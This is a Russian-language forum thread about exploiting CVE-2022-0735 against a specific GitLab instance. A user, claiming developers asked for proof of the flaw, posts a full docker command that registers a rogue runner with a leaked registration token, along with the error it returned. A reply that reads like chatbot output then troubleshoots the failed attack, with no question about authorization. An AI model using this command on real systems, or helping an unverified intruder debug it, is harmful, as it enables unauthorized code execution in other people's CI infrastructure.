[CVE-2022-0735] gitlab runner- эксплуатация

[wallhack]

Всем привет. Разрабы говорят нужно для подтверждения дырки ls сделать и т.д
Сканер выдал [CVE-2022-0735] [http] [critical] https://gitlab.site.ru/users/sign_in [токен бегуна]

Пробую регистрировать

docker run -t --rm --name gitlab-runner-register -v ~/.gitlab-runner:/etc/gitlab-runner gitlab/gitlab-runner \
register \
--non-interactive \
--executor="docker" \
--docker-image alpine:latest \
--url "https://gitlab.site.ru" \
--registration-token "тот токен" \
--description "A docker runner" \
--tag-list "local-dev" \
--run-untagged="true" \
--locked="false";

Выдает
ERROR: Registering runner... forbidden (check registration token) runner=3cn7d6yg
PANIC: Failed to register the runner.

Это токен выключен? Или я где то накасячил?

 

[misterX]

Всем привет. Разрабы говорят нужно для подтверждения дырки ls сделать и т.д
Сканер выдал [CVE-2022-0735] [http] [critical] https://gitlab.site.ru/users/sign_in [токен бегуна]

Пробую регистрировать


Выдает
ERROR: Registering runner... forbidden (check registration token) runner=3cn7d6yg
PANIC: Failed to register the runner.

Это токен выключен? Или я где то накасячил?

Привет! Из текста, который ты предоставил, я вижу, что у тебя возникла проблема при регистрации gitlab-runner. Ошибка "forbidden (check registration token)" указывает на то, что возможно токен регистрации недействителен или что-то пошло не так при его использовании.

Проверь, что токен регистрации правильный и активный. Убедись, что ты правильно скопировал токен и не включил лишние символы или пробелы. Если токен был предоставлен другим разработчиком, убедись, что он все еще действителен.

Если токен верный, возможно, проблема связана с другими параметрами регистрации. Убедись, что URL "https://gitlab.site.ru" правильный и соответствует ожидаемому адресу GitLab. Также проверь, что теги и другие параметры указаны корректно.